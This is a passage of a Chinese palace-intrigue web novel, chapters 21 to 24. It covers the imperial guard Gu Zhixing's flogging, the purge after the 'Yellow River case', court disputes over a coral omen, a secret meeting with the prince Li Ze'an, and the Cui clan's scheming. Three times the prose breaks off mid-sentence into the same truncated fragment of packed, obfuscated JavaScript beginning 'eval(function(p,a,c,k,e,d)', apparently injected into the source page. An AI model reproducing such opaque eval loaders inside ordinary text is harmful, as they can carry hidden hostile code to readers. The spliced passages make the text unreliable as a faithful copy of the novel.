李案昏迷期间顾之行就已书信一封转交给小杜,让他面见圣上汇报具体案情。 “是我连累哥哥了。” 李案神色有些虚弱,笑道。 “你我之间,不必如此。” 顾之行神色未变,一如既往地冷,可明明如此不近人情却又说出那样的话,惹人心痒…… 李案突然笑了:“哥哥你这样说让我突然想起昨晚我携酒找你聊天,喝到夜半两人皆未醉,还以为是酒家在酒里兑了太多水的缘故,便想着去另一家酒楼里喝……可没想到我们都没带够银钱,喝了霸王酒,差点被留在酒楼里当苦力还债,还是你认识的人过来拿钱才赎回我们,当时我很歉疚,和你说抱歉,你也说了这般话,哈,哈哈哈……” 李案似是回忆出了什么细节,笑得停不下来。 他明明是被硬拖着去的…… 顾之行无意与李案争论这些细节,只默默地听着他的胡话。 竹帘隔绝了外界,这一方天地只有他二人,李案说话的声音小了些,静静地看着顾之行。 顾之行也看着他:“你现在也无事了,我还有要事要先离开,这里是医馆你身体若有不适可喊郎中。” “我已交了银子,所以不用担心银钱问题。” 这次李案没有再开口挽留,点头应好,闭上眼睛。 厚重的门帘掀起又落下,穿堂风吹过,让刚刚暖和起来的房间又冷了下去,院内还能听见他的声音,似乎在交代什么,然后便是越来越远的脚步声,直至脚步声也听不见了,复又睁开眼。 没了欢笑,这房里是真安静,太静了,他不喜欢,他望着屋顶,静静等待疼痛过去,等没那么疼了便起床穿鞋。 女子见李案出来,有些惊讶:“药还没好……” 李案看都没看她直径向门口走去。 “等等。” 女子秉承着悬壶济世的心理,拦住李案:“以你现在的状况还不能出去!” “少管闲事。” 李案声音冰冷,眼神更加冰冷,完全没了刚刚少年人单纯乐观的神色。 且他的冷不是顾之行如清冷月色般的冷,高不可攀;而是地狱杀生殿里阴冷,噬人骨血,阴森无比。 女人身子抖了抖,终究没敢再拦。 李案离开了。 旁边的药童带着好奇心道:“苏姐姐,那个人走了,这药还要煎吗?” 苏云摇头:“不了,都倒掉吧,反正这人不会回来的。” 药童甩着他小辫子,熟练地用布包裹药炉的把手,把黑沉沉的药汤连同药渣一起倒进水沟里,小大人般叹息道:“那他可真没福气,谁都知道苏姐姐的是个妙手回春的神医,连半只脚踏进阎王殿的人都能给医活了,找你看病的人能从阎都排到西域去了!” 苏云有些好笑:“哪有那么多人,你可别天天对别人吹嘘这些,不然我医不了,我家这祖传的招牌该砸了。” 心里却想:哪个少年才是真的半只脚快塌入阎罗殿了。 “不会,不会,因为苏姐姐最厉害了。” 药童笑道,天真又可爱。 21. 回宫 禅院,厚重浓腻的药草味熏得人喘过不气来,顾之行跪在门外都能闻见,他听着屋内断断续续的咳嗽声和身后一声高过一声的廷仗声,始终不语。 他不说,里面的人也不开口,就这么耗着,木板被雪浸泡得凉意透骨,寒风不住地往顾之行骨头缝里钻,跪得久了膝盖受不住,连唇色都被冻紫了。 等廷仗声停了,李暨才缓缓开口道:“为何不是你亲自向我汇报案情?反而派一个无关紧要之人过来?!” “是卑职失职,请圣上责罚!” 顾之行没有为自己辩解,直接认下罪责。 李暨把他叫到这并不是为了听这些的,作为拥有最高权利者却式微的他,是无法容忍自己亲自培养的势力对他有半点隐瞒,这会让他产生前所未有的危机感。 他冷笑道:“顾之行,朕再给你最后一次机会,想好了回答!” 顾之行默了一下,终是选择将事情经过大致地讲述给了李暨,只不过他略过了那人的具体病情。索性李暨并不在意那人如何,他在意的是顾之行能否对他坦白与忠诚。 李暨的声音慢悠悠传来,带着凉意:“既然如此你该知道如何去领罚?” “卑职明白。” 顾之行刚站起身,李暨的声音又传入他的耳中:“别忘了究竟是谁让你拥有如今的权势!你只是朕的一把刀,而若这刀不称手或生了些旁的心思……朕大可毁了,重换一把!” 这是敲打也是警告。 顾之行应答:“卑职谨记圣恩。” 院内负责廷仗的两位宦官早已准备就绪,而负责在一旁喊数的竟是张少监,两人目光交汇了一瞬又错开,好似都不认识彼此一样。 另外负责仗刑的两位宦官得了令将那半身是血的人合力拖拽了起来,小杜大概是被扯到了伤口,原本闭着的眼被迫睁开,在见到顾之行时安抚性地扯出一丝惨白的笑容道:“老大,别,别担心。” 顾之行放在身侧的手慢慢握紧,却无力似的又忽地松开,他低声道:“……抱歉。” 眼睁睁看着宦官将小杜架了出去,在地上留下一道蜿蜒曲折的血迹。 另外一边的两个宦官已经等得不耐烦了,边搓着手哈气边催促:“大人请吧,再怎么不情愿这罚也是要受,天寒地冻的大伙儿都不容易早点受着就早点结束。” 顾之行点头,声音很淡:“……有劳。” “一,二,三……” 随着张少监的报数,板子一下又一下精准地落在顾之行身上。 这廷仗自然有很多门道,或轻或重或死皆凭上意,李暨后面还有用得着顾之行的地方,自然不可能让顾之行在此时出事,这么做只不过为了敲打一番,让他们别忘了自己是何身份。 他们的生死皆掌握在他手中。 只是一番廷仗下来,宦官们纵然收了些力,可人是肉做的,七十大板下去就算没到伤筋动骨的地步,却也是皮开肉绽。顾之行的下半身已是血迹斑斑,可他硬撑着没出声,连结束了,也不让人搀扶着,是自己一步步走回去的。 张少监向李暨回禀行刑情况后,李暨笑道:“到是个有骨气的。” 张少监:“……” 顾之行已很久没有受过那么重的伤,再加上伤口没有得到妥善处理,后半夜竟直接高烧不退,这烧来势汹汹再加上他身上带伤,烧得更重,迷迷糊糊地连人都分不清,睡得比醒还多。 把大志他们吓得够呛,只汇报了一下案情,怎么这两人就成了这样?! * 宣德十五年,3月初,春峭寒末,徐涛等各路官员皆罢官下诏狱,交由大理寺审判,查出贪污受贿,侵占良田家宅等数十条罪案;刑部下达“籍没”诏令,让金吾卫与当地司法参军联合执行抄没数名罪臣家产。徐府多年苦心经营的矿山矿产亦被没收上交国库。 审问过程中有些官员贪生怕死便主动提供线索希望可以减刑,大理寺顺藤摸瓜,拔出萝卜带出泥又抓了不少涉事者,一时间人人自危。 金吾卫一路行,一路斩,凡涉及“黄河案”的无论罪责轻重皆要处以重刑,从襄州徐府开始到朝邑县无一幸免,被查抄的金额竟有数千万两白银,数百石胡椒,良田千顷,更不要说各种奇珍异玩,竟达国家三年税收…… 可就算如此亦有人冒着杀头的风险上奏:圣上夙兴夜寐,欲肃清吏治,臣深感欣慰,可臣闻《尚书》有云:“元首明哉,股肱良哉,庶事康哉!”①今百官或有罪过,然如同肢体微恙,当以教育贬黜,岂能轻易斩断?愿陛下体察此身一体之情,保全肢体,以安元首。” 其核心思想是表达李暨过于滥杀,会导致君臣离心离德。 这话本无错,可李暨正值盛怒,这样的奏折呈报上来,无异于自寻死路,其人虽为御史中丞官至五品上却还是被流放至黔中道,无诏不得归都! 然这道口一开,朝中出现了很多反对之声,堆积如山的奏折都是请圣上三思!更有激进者竟拿李暨比做前朝亡国之君——宋哀帝,其政治为暴政。 而始作俑者崔氏却完美隐藏于幕后。 君臣就这样僵持着…… 事情的转机在李泽桉。 天气回暖,雪色渐融,但时不时还会刮起冷风,李暨难得在院中赏景,为保圣体无恙,亭子四周的木帘被宫女放下,随着风吹檐铃发出悦耳的声响。 李泽桉站在一旁伺候,眉眼安静:“父皇今日心中似有忧虑?” 李暨闻言脸色更加难看:“哼,还不是那群逆臣,天天上奏让朕收回成命,说朕滥杀朝臣,朕倒要看看不收回这道圣旨,他们究竟会怎么做!” 李泽桉却道:“父皇,目的已经达到,郑旭亦在我们手中,又何必再与这些朝臣计较,现在当务之急应是回朝稳住政局。” “……” 这话说到了李暨的心坎上去了,李泽桉说得对,不久就要回朝,而若现在与他们闹得太狠,回去后指不定会怎么烦他,后面的机划定会搁置,现今应当以安抚为主。 他品着茶,半响才抬头:“此番操作,既整治朝纲,肃清官吏,又让崔氏折损了右翼,该记你大功一件啊!” “父皇过誉了,儿臣只献此拙计,然此计能成则全赖父皇在其中周旋操作。” 李暨现在心情好多了,轻笑一声,并不否认,反而和李泽桉唠起家常:“你从小便喜好去民间游玩,一呆便是大半日,宫人不堪其忧多次找我诉苦,我那时便觉孩子贪玩并非不可取,便也随你去了,没想到你今日倒是给了朕一个惊喜。” “若不是你在民间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不久,李暨又下圣旨对一些只知情不报的官员判以降职减薪;涉案金额少的处以罢黜,流放,而罢黜者终身不得录用,流放者此生亦升官无望;而明知故犯,欺上瞒下,重罪在身的则处以极刑,同时妻儿父母皆入贱籍,仆从家产一律充公。 “黄河案”至此终是告一段落,事情皆有妥当,当初因“状告官老爷”被关押的民工也被安然放出,大志亲自去监视的,他是暗卫不方便见官,跟到在渡口边才现身,叫住他们,问出自己疑惑多日的事,而当初在祭祀上闹事的民工们一眼就认了出了大志。 纷纷和大志打招呼,待大志说出“包袱砸头”一事后,皆是万分抱歉,又是一番解释,大志才明白原来那包袱里装的是他们的工具,用他们的话来说便是:“吃饭的家伙自然要不离身的,就好比士兵上阵带枪,厨子做饭带勺。” 而他们当初是想要引起圣上的注意才引发骚乱,只不过没想到波及到了大志。 思想过于朴素…… 大志无话可说,便安静地看着他们乘船离开。 回去复命后,没忍住多嘴问了顾之行一句:“老大,你为何非要让我看着他们安全离开?” 顾之行已经能够坐起身,穿着单衣,只披着厚棉衣在塌上看书,因未束冠,青丝如瀑披散下来,为白净秀美的脸添了一丝平和,闻言道:“以防万一罢了。” 以防万一什么? 大志没懂,却为顾之行与小杜气愤,明明他们在此案中功劳最大,可没有赏赐就算了还换来一身伤,就算他们是暗卫,可也不能如此轻贱啊! 当然此话他是不敢说出口的,只能在心中暗暗腹诽。 与此同时,顾之行派人接触调查李案真实身份的人也回来了。 顾之行看着报告中的内容,眼神晦暗不明。 同月,李暨起驾回宫。 22. 上朝 同三月,春雨便淅淅沥沥地降落,雪色还未褪去就被雨水胡乱地砸在地上汇成脏污不堪的泥水。草长莺飞,有了雨水滋润,莹白草绿竟呈破土之势,冰冻的长河下暗流涌动,一旦破势河床上涨,一季藏冬的各处珍宝,便可由“漕运”运输至阎都,上贡给圣上。 而今正是好时候啊! 江南道,破晓的雾气如轻纱般笼罩着运河,灯火万千在浓重的雾中如点点星光。 河面上,一艘名为“永济号”的万石漕船在码头上停靠着,漆黑的轮廓在晨曦与灯火中宛如一头庞然大物的巨兽。 它的船首高昂,雕刻着镇压水波的螭首;船身长达二十余丈,吃水极深,连接岸边的跳板被背着麻袋往来役夫踩的咯吱响,里面除了装着粮食,绢帛,还有达官贵人最爱的奇珍异宝。 而它后侧还有数十艘船只沉默地立着,舳舻相接,绵延数里,气势恢宏如一条玄龙蜿蜒至天边。 随着一声:“起——帆——咯——!” 巨大的船帆顺着桅杆被船夫扬起,锁在码头上的缆绳被解开落入水中,跳板收起,无数船只声势浩大地压向北方。 旁边一名漕吏迎面吹着寒风,埋头在薄册记着什么东西,就着还不忘埋怨:“天老爷啊,忙了那么多天,终于送走了这批瘟神,你说咱们阎都的那位这次要货怎么要得那么紧,比往年都要早了一个半月,若不是我们昇州这次粮仓充足,还真不能及时交货。” 另一名漕吏已经把册子合上,左手背右手甚是悠闲,听到好友这样说,不由得撇嘴道:“你这心也操得也太远了,远在千里之外的官老爷们要做什么也碍不着咱们啥事啊,咱们能交上货就行了。” 那名书吏想了下觉得好友说得不无道理,反正好处他们拿不到,坏事也轮不到他们。遂点头称是,也合起书册,踏在青石板上,寻着灯火打道回府。 * 阎都,李暨终于回宫,回宫后的第一次上朝,便迎来了第一件喜事。 江南道的转运使不日便会上京朝贡,这次漕运不仅带来各地物产,漕船上还运有来自南海高六七尺,重达200斤,乃是当今世界最大的红株珊瑚! 传言一名渔夫在某天深夜驾船去海上捕鱼,不料遇上巨浪,连船带人直接被掀翻,沉入海底,慌乱之际攀住了那株珊瑚才没让他卷入漩涡之中,安全后,那渔夫睁开眼大为吃惊,此珊瑚树不但散发着淡淡红光,上面竟还写着“河清海晏,时和岁丰”八个大字! 此乃祥瑞之兆啊。 择日,侥幸保住性命的渔夫上岸后便上报给地方官府,地方官府听罢亦觉得此珊瑚是祥物,第一时间便组织人员将它挖出进献给圣上…… 传言有些离谱,更不要说一株珊瑚会识得人为创造的字,还把它刻在自己身上……这无非是为了讨好上位者而编造的故事。 户部尚书周稠锦脸上的笑意都快推在一起了:“皇恩浩荡,竟连远在南海之物都受到庇护显灵,告示天下,圣上恩德啊!” 说着径直跪下,高呼:“圣上万岁!” 周稠锦与郑旭一样皆是崔氏崔太尉的门生,现在如此作态也是受崔太尉的指使,对李暨示弱,给对方一个台阶下,他们知道先前是逼圣上逼得有些紧了。 其余朝臣见势也换了一张脸,也纷纷跪下高呼万岁! 只一人笔杆子似的站着,顶上万般压力上奏:“圣上,子不语怪力乱神,莫要因这子虚乌有的事而劳民伤财啊!上行下效若是所有人都因此效仿,上奢下检,百姓……” 这话听着刺耳,周稠锦忍不住反驳道:“张御史你这帽子扣得有点大了,这上呈祥瑞乃万民期许之国事,说什么劳民伤财?!连这天下都是圣上的!” “好了咳咳咳……” 没有哪位皇帝不愿意听自己统治时期的国家是一派祥和安乐的。 李暨也是。 有人拍马屁,还拍得那么高级,他心里高兴,对张作义道:“这既然是地方祥瑞,因是百年难得一遇,张御史你就不要太过计较了。” 说着说着还要自谦一下:“朕自继位以来殚精竭虑,夙兴夜寐生怕辜负先帝对朕的信任!如今此番景象朕就算死后也不怕面见先帝了!” 众臣又是一番恭维,君臣和乐地讨论官员任职一事,“黄河案”一次处罚了太多官员,空缺大,地方一些官职还可以让人举荐任职,但重要官职却要中央任免。 君臣维持着表面的和睦,谁都没有先开口提及“郑旭一事”该如何处置,崔氏为首的官员自然希望李暨就此收手,而李暨也有心暂时缓和君臣关系。 可偏偏那个人还是没有一点眼力见儿,他手持笏板立在那儿,清雅端正,说出口的话却直戳人心:“圣上,臣有本启奏,试问圣上该如何处置郑旭这个罪臣?!不过依臣之言,未免夜长梦多应当立刻斩首示众以慰百姓!” 非常直言不讳,刚正不阿,胆大包天地撕碎君臣平和的假面,露出表面下那已经腐烂生疮的一团血肉。 崔霄早就看张作义不顺眼,这人不结党,不营私,赤条条一个人站在那儿专和崔氏不对付,几乎每天都要弹劾崔氏一党,可这人为政清廉又深受圣上信任,根本动不了他。现在总算让他抓住话中漏洞,便开始使劲踩:“张御史真是好大的口气,圣上还没表态你便如此自作主张,是不把圣上放在眼里吗?!或者是你想坐上这个位置?!” 张作义抚摸着胡须,根本不接这话,轻飘飘地就给顶了回去:“臣自然不敢也不曾说过这话,倒是崔侍中把话挂在嘴边,难不成是你有此心,不敢说便诬告别人?!” “哼,张御史祸从口出,你莫不是忘了你侄子可是刚因谏言被贬至黔中道!你难道想步你侄子的路?!” 两人三四十岁的老臣你一言我一句就这样在朝中旁若无人地斗起嘴来。 崔文豪听着儿子这过于“大胆”的发言,眉头紧皱,呵斥道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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笑却不达眼底。 黄忠没看出来,也跟着笑道:“哎呦,这哪是什么奉承话!圣上治理的天下自然是四海皆平,国泰民安啊!” 李暨不笑了,他喃喃自语道:“国泰民安嘛?”声音过小,黄忠侧身凝神静听都没听清,便不敢接话。 他又看向顾之行:“你觉得那些人这样讨好朕是为何?” 顾之行自打做了中郎将后,便一直以保护圣上安危为借口跟随在他身后,对这般问话,他沉吟片刻便道出了他所查之事:“漕船按照惯例本该在四五月份来往阎都,可今年却早了一两个月……确实可疑,卑职还听闻,崔氏的祖祠在昇州,在地方士族之间声望很高,连转运使也是崔氏子弟,此次能如此行事应当少不了他们的帮助。” 顾之行三言两语便说清楚了其中厉害关系,而这正是李暨最担心的,崔氏不但在民间威望很高,地方势力也不容小觑。 而他们这次表面向李暨低头示弱,可何尝不是在以退为进。既给了彼此台阶下,可又在告诉李暨什么叫适可而止。 毕竟周稠锦身为户部尚书是坚定的崔党,而漕运又掌握在他们手里,相当于半个国家的经济命脉都在他们手里。 李暨收起笑意,脸已阴沉得可怕。 床榻之侧,岂容他人鼾睡。 23. 私会 这也是李暨为何非要对付崔氏的原因。 李暨沉默片刻,又拾起话语:“顾之行你可还记得是何时当朕的暗卫的?” 顾之行回答的恭敬:“卑职是12月末成了圣上的暗卫,距今已有三月之久。” “三个月吗?” 李暨似是在回忆,转而道:“三个月说长不长,说短不短,而你在这三个月的时间里不但帮朕破了“黄河案”,还能把这错综复杂的政治关系理清楚,说明小张子没看错你,朕亦没看错你,你很聪明。” 顾之行不知这话李暨是何意,只道:“圣上过奖了,若没有圣上对卑职的细心栽培,卑职就算再有能力也是无用武之地。” 帝心难测,也不知顾之行那个字得了他的欢心,李暨忽然抚掌大笑起来:“朕总算知道小张子当初为何力荐你办案了。顾之行,你可真是个妙人!” 这话是顾之行没有想到的,他下意识看向了前方的那个人,轻皱眉头:“……” 张净?! 所以自己能到如今的地步,是在他背后推波助澜?! 可又是什么原因让他这样做? 顾之行仔细回想两人相交的时间并不多,有也只是谈论公务,淡而又淡。 “如今你身为千牛卫的中郎将,底下的人可有不服你管教的?” 李暨的声音从头顶传来。 顾之行实话实说:“……是有不服,不过无碍,卑职会管教好他们,只是有些事不便用他们。若是圣上应允卑职打算将暗卫里的部分人抽调出来转为明桩,也能更好的为圣上办事……” 李暨的声音从轿撵上传来,带着凉丝意:“那群养在蜜蜂罐里的禁卫们是不顶用,这事你就自己看着办吧。” 算是默许了。 顾之行:“卑职遵旨。” 宫道狭窄,红墙高筑,自北而下的冷风一过,是刺骨的冷,李暨一身病骨自然受不住,他放下一层层帘账,支着头闭眼,却还在道:“顾之行朕对你的期许很高,所以莫要辜负了朕对的信任。” 顾之行暂且收敛心神,垂眸道:“……卑职遵旨。” 太和殿门,护送完李暨后,顾之行带领禁卫打算巡察宫门。 后面却突然传来一句:“顾中郎将请留步。” 声音无比熟悉,顾之行脚步微顿,让其他禁军先行巡逻,他转身看着张净一步步迈下台阶道:“张少监,有何事找卑职?” 张净冲他温和一笑:“顾中郎将不好奇我为何会举荐你吗?” 原来是为此而来。 顾之行表情依然淡漠,薄而冷的嘴唇张合:“张少监是圣上亲近之人,自然有自己的打算。” 竟是如此谨慎,半点不接张净抛出的话。 张净却也不恼,两人一同走在白玉石阶上,岁月温柔,这里的一砖一瓦皆不曾变化,宛若当年。只唯一不同的是这次顾之行和张净是并排而行,再没有当年的跌跌撞撞与狼狈不堪。 张净:“圣上的身体大不如前了,如今膝下只有两位皇子,大皇子虽快成年,可明眼人都看得出圣上最疼惜小皇子。” 顾之行侧头去看张净:“张少监有话不如直说。” 张净直截了当:“顾中郎将以为呢?” 这话又问得过于突兀了,顾之行想了下:“我原以为张少监是个平稳谨慎之人,可没想到张少监原来还是个会唐突别人的人。” 张净摩挲着指尖,笑得像只狐狸:“人是个很复杂的生物,可不能只看一面。” 顾之行:“那张少监以为呢?” 他把这问题又像踢皮球一样,踢给了张少监。 张少监轻笑一下:“我只是一个阉人,只知道伺候圣上罢了,其余一概不知。” 顾之行点评:“张少监,你这样可换不回别人的真心。” 张净:“……” 话已至此,顾之行觉得没有再聊下的必要,正要告退,张净在身后叹道:“顾中郎将,我举荐除了看中你的能力,可也还有另一层意思……若有可能,我并不希望成为你的敌人。” 顾之行转头,但留给他只有那人清瘦的背影,衣袍随风而起,明明不是文人却偏偏装得一股文人范。 而在顾之行回望时,有一人亦同样在转角盯着他,长身独立,长袍委地,过于宽大的衣袖垂直在空中飘飘荡荡,若是晚上被人瞧见怕是会被当成“鬼怪”,那人身形一动,走了出来。 “顾中郎将,巧遇。” 顾之行:“……” 不知何时,他和张净竟来到了在宫中初次和李泽桉相遇的地方。 “卑职参见殿下。” 他单膝跪下行礼道:“打扰殿下清幽,卑职现在就离开。” 说着站起身就要离开。 李泽桉却不搭理,依然笑着,一步步向顾之行逼近:“顾中郎将在自说自话什么呢?本宫让你离开了吗?莫非顾中郎将是不把本宫放在眼里?” 他装模作样地叹道:“也是本宫不过是个不受宠的皇子,连宫里的最低贱的宦官都能对着本宫踩上一踩。顾中郎将身为父皇身边的红人自然不会把本宫放在心上。” 顾之行没想到李泽桉会如此难缠,下意识向后退去,还没开口认罪,手臂就被人一把抓住了。 他抬眼,一下子就撞进了李泽桉的眼里,而那眼底映照出的是顾之行那双毫无波澜的眼睛。 李泽桉手一紧,眼底是无法掩饰的受伤之色却只是一闪而过,他头微微向右偏去,试图掩饰刚才的神情,手却没有松开,生怕顾之行像上次一样跑了。 顾之行提醒:“殿下,请放手。” 李泽桉笑道:“若我不放呢?” 顾之行:“……” 不放…… 他也毫无办法,总不能殴打一个皇子。 话是这么说,但李泽桉最终还是选择放开了,他在池边随意地坐下,身体后仰靠在树上,笔直修长的右腿蜷曲,手臂搭在上面,只要视线略微一转,一双白皙漂亮的手指就能映入眼帘,骨节分明,很擅长舞文弄墨的样子。 他歪头看向顾之行拍了下旁边示意他也一同坐下,笑道:“顾中郎将,会喝酒吗?” 顾之行没有动,他垂眸:“卑职不会喝酒。” “是吗?但我听一人说你可是千杯不醉的。” 顾之行又换了种说法:“……卑职正在值班,不应该饮酒。” “那你觉得那些值班期间躲懒的禁军在值班房里做什么?商量如何保家卫国吗?” 李泽桉声音里带着冷意:“不过都是在找乐子罢了。” 说罢,他拿起旁边在石头上放着的酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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满园清池上皆是枯黄枝叶,像是哪个偷懒的宫人很久没人打扫一样,碎裂的石阶缝隙生长着败落的野草,明明其他宫殿里植被都肆意滋长,呈现欣欣向荣姿态,而这里好似寒冬还未过去,连温度都比外面低了些,萧索无比。 这一切都在告诉顾之行这孩子过得并不好。 枯瘦的枝桠还未焕发出新芽,一人坐在树下,另一人站在身后,四下寂静。 良久,顾之行在李泽桉旁边席地而坐:“殿下是皇天贵胄之人,不该妄自菲薄,若是他人不长眼欺负你,那便还回去。” 李泽桉没动。 顾之行接着说:“既然殿下暂时不想要这玉珏,那就先交由卑职保管。” 李泽桉终于动了一下,他扭头去看顾之行,漂亮的瞳孔里溢满了泪水,长长的睫毛挂着泪珠,白嫩无暇的小脸因憋闷而微红,是个爱哭的漂亮孩子,一如从前。 “那哥哥这是认我了?” 顾之行张了张嘴,最终只“嗯”了一声,表示回答。 李泽桉垂眼笑了,眼中闪过一丝计谋得逞的得意之色,可他隐藏得很好,顾之行并未发现。 两人在树下并肩坐着看池塘里有些浑浊的水,时不时有一两只鱼儿从池里跃出,晨阳照金鳞,可最终都会落入水底,逃不脱。 “哥哥,那以后你可以多来看看我吗?” 顾之行:“……嗯。” “好,那我们击掌为誓,这次我希望哥哥不要再食言了。” 李泽桉伸出手,掌心向外,生怕顾之行会反悔似的,执着的用这种幼稚的手段来使自己安心。 顾之行:“……” 他抬手,两掌相击,一言为定。 24. 喜事 重重宫墙门前,头戴官帽,脚穿乌皮六合靴,身着紫,绯,绿,青圆领袍衫的各位朝臣已经下朝正三三两两地前往建福门准备乘坐自家的车子回府,象征身份的金银鱼袋悬挂在腰间,跟随着动作一晃一晃的。 人生“口舌”除了吃饭便是说话,这话同样可以应用在这些人身上,这些朝臣边走边高谈阔论,谈论着国事,闲事,其热闹程度堪比菜市场。 只崔霄一人在前头大跨步走着,身后是搀扶着崔文豪的周稠锦,两人似乎在说些什么,周稠锦满脸堆笑,时不时附和着什么,而其他官员见崔太尉如见“太阳从西边升起”,很是震惊! 毕竟平日里的崔太尉日理万机,要么留下与圣上商讨国事;要么就留下处理日常事物。甚少见他与其他人同时下朝,而崔氏府邸门槛又高,有时就算贿赂了其府上仆从也不能够见上一面,对于品级较小的官员见此情形便生了想要去攀谈两句的心思,若是幸运在崔太师心中留下点好印象,那下次升官一事不就手拿把掐?! 于是大家人挤着人,都向崔太尉道贺,道贺什么呢?恐怕他们也说不上所以然来,反正说些吉祥话准没错。 就比如:“崔太尉位列四世三公,其行德高望重,有太尉在这江山社稷定能传至千秋万代!” “太尉乃国之柱石,士林所仰啊!” “我等自然要以崔太尉为榜样,为国鞠躬尽瘁死而后已!” 可怜崔文豪一把年纪还要人情世故一把和同僚相笑攀谈。 宫门开,各府上早已在旁等候的马夫连忙朝自家老爷迎上去,嘘寒问暖,无比殷勤。 一位身姿矫健,一看就是练家子的壮汉在见到崔太师后,略一低头道:“老太爷。” 说完单膝跪地,双手交叠举着,让崔太师脚踏在他手心上,借力登上马车。崔霄,周稠锦紧随其后也上了同辆马车,一辆用六匹高头大马拉的马车自然很宽敞,足够容下四五个人。 黑马毛发柔顺,身无杂毛,皆是好马;而其马车内部亦很讲究,白虎皮铺就的地毯,连轿帘都是用足够保暖的缎面。 崔文豪落座后,那马夫在外面低头提醒道:“老太爷,暖手炉在右边矮柜里的最上格,温度适宜,您正好可以用来暖手;您早晨走得匆忙没有吃早餐,充饥的点心也放在第二层,是您平时最爱吃的那家杏仁斋,他们一早就准备好了的。” 崔霄都一一查看,说的一件不差,他拍着大腿笑道:“好小子,当初在贩奴集市里本官一眼便相中了你,本官果然没看错你,够机灵,够贴心!” 这人性格稳重,被夸奖了也只是谦虚道:“老爷说笑了,为崔府办事,是奴才的荣幸。” 说罢坐上马车前头,手拿缰绳,驾马驶离宫门,干净利落,没有一句废话。 其余官员也各自坐上轿撵,马车打道回府,宫门又重归寂静。 这时一人才慢慢步行出宫,寥落一人,无人同行,亦无人等候,只一头老毛驴被栓在一棵树下。 这头老毛驴眼瞎耳聋,脾气还倔,不认人就罢了,还踢人,只要人一靠近它就开始蹬后腿,索性张作义早已料到,一个侧身躲过了迫害。 张作义笑骂道:“你这老倔驴,这么快就不认识我了,也就是我能忍受你这驴脾气,要换作别人早把你做成驴肉火烧了!” 话说如此,他还是用手安抚着老伙伴,好不容把这暴躁的老毛驴的毛顺好了,才坐上去,晃晃悠悠地回家。 周稠锦掀开轿帘,等确定离皇宫越来越远才放下帘子,轿里有预备的暖手炉,崔太师分了一个给他:“探到郑旭被关在何处了吗?” 3月份的清晨很冷,周稠锦的手来回变化姿势贴着暖手炉,试图让自己更暖和一点,闻言回答摇头道:“还没有,我早先就着人打点过刑部,人不在诏狱,应当是被单独关在某处我们不知道的地方,圣上是在提防着我们呢。” 一提到这事崔霄就来气,将暖手炉重重砸在矮柜上:“圣上疑心太重!他难不成忘了究竟是谁在关键时刻护他一命,把他扶上这个位置的!是崔氏!是我的父亲!现在他这位置是坐稳了,难不成是要过河拆桥!” “住口!”崔文豪皱眉呵斥道:“越说越不像话,我何曾教过你如此诋毁圣誉的!” 崔霄今日第二次被训斥了,三十四岁的成年人还被自家父亲教做人道理,气得他一张黝黑的脸都通红,索性把轿帘掀开冲马夫喊道:“停车,本官要下车!” 崔文豪大声喊:“你要去哪儿?!” “心里不舒服,所以下去走走!” 说着,还没等马车停稳就火急火燎地跳下去,吓得马夫连忙去搀扶着他,小声提醒:“老爷,小心前方!” 被他一把甩开。 崔文豪活到如此年纪已经很少有人敢当面甩他脸色,没想到这气在自家儿子这儿受了,气得胡须颤抖,半天才摇摇头,对马夫道:“别管他,我们走。” 周稠锦对崔霄这脾气也见怪不怪了,笑着道:“崔兄秉性刚强,再加上担心圣上会对崔氏下手,故有些口不择舌,老师别放在心上。” 崔太师自然知道周稠锦话中意思,只叹息地摇头:“是我平日里太骄纵他了,才把他养成这种性格,连他的几个儿子的性格都和他一模一样,不知人间疾苦,可若在圣上面前侍奉,这种性格只怕会吃亏。” “崔氏百年世家,论其功绩当世也无人可比,老师无需担心才是。” 崔文豪却拧眉道:“对了,负责“黄河案”那小子的身份你查到了吗?” “弟子只查到他叫顾之行,其余信息,比如是何方人士,家中情况如何,则一概不明。这小子就像是突然出现的,一上来就上任中郎将,办案手法也不按规章办事,明明他们半点消息都没透露过,却还是让他顺藤摸瓜找到了徐府,而原来的鸿门宴也让他来了个瓮中捉鳖!” 崔文豪叹道,眼底流露出担心神色:“这才是我最担心的!无任何身份的人却突然出现还直接调查“黄河案”,又给了他那么多越级特权,现在还拖着郑旭迟迟不肯处理……圣上这明摆着就是冲着打击崔氏来的。” “圣上这一招很高明,又快又准,打得我们措手不及,连反应的机会都没有。” “是,不过这郑旭也是个蠢货,不老老实实在阎都 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阎都最大的酒楼——峦腰楼,几乎每天都客满,除了这菜肴融合了各地方名菜,足不出城就能吃遍天下美食和闻名于世,酒香飘十里的“莫醉”外,还有另一个重要因素——胡舞。 纤细苗条,异域风情的美人舞裙歌扇,就算他一壶清茶就要二两六钱,阎都里的达官贵人,纨绔子弟也依然趋之若鹜。 酒楼里的小二在楼梯间来回跑,上菜上酒,一楼餐桌上已人满为患,喧闹无比;而二楼隔间却正相反,幽静清闲,一派祥和。 天字一号房,六扇仕女图屏风外坐着一名面纱蒙面的乐怜弹奏客人亲点的“行军曲”,曲调优美,宛如仙乐,让人置身朦胧江南春色的温柔乡;却缺少了曲子里该有的大气磅礴,慷慨悲壮,宛如一只套了虎皮的狐狸,不伦不类,十分别扭。 屏风里,王杰通也听得不得劲,不耐地挥手道:“行了行了,别弹了,滚出去吧,别再扰了我们哥几个兴致!” 曲毕,乐怜双手放在右侧,膝盖微微弯曲,行了个万福礼,才退下。 “王哥,来来来,喝!” “王哥请客,咱们今日就不醉不归!” 几个喝得半醉的大老爷们也不讲究脱鞋盘腿坐在热塌上,左一口哥们,右一口兄弟的喊着,就为了能劝对方喝下杯子里的酒,勾肩搭背的叫得好不亲热。 唯一人坐在角落里,离他们八丈远,冷着脸一口又一口地独自喝着酒,非常另类。可奈何这人长得好看,就算冷眉冷眼也非常惹眼,让人忍不住多瞧上两眼。 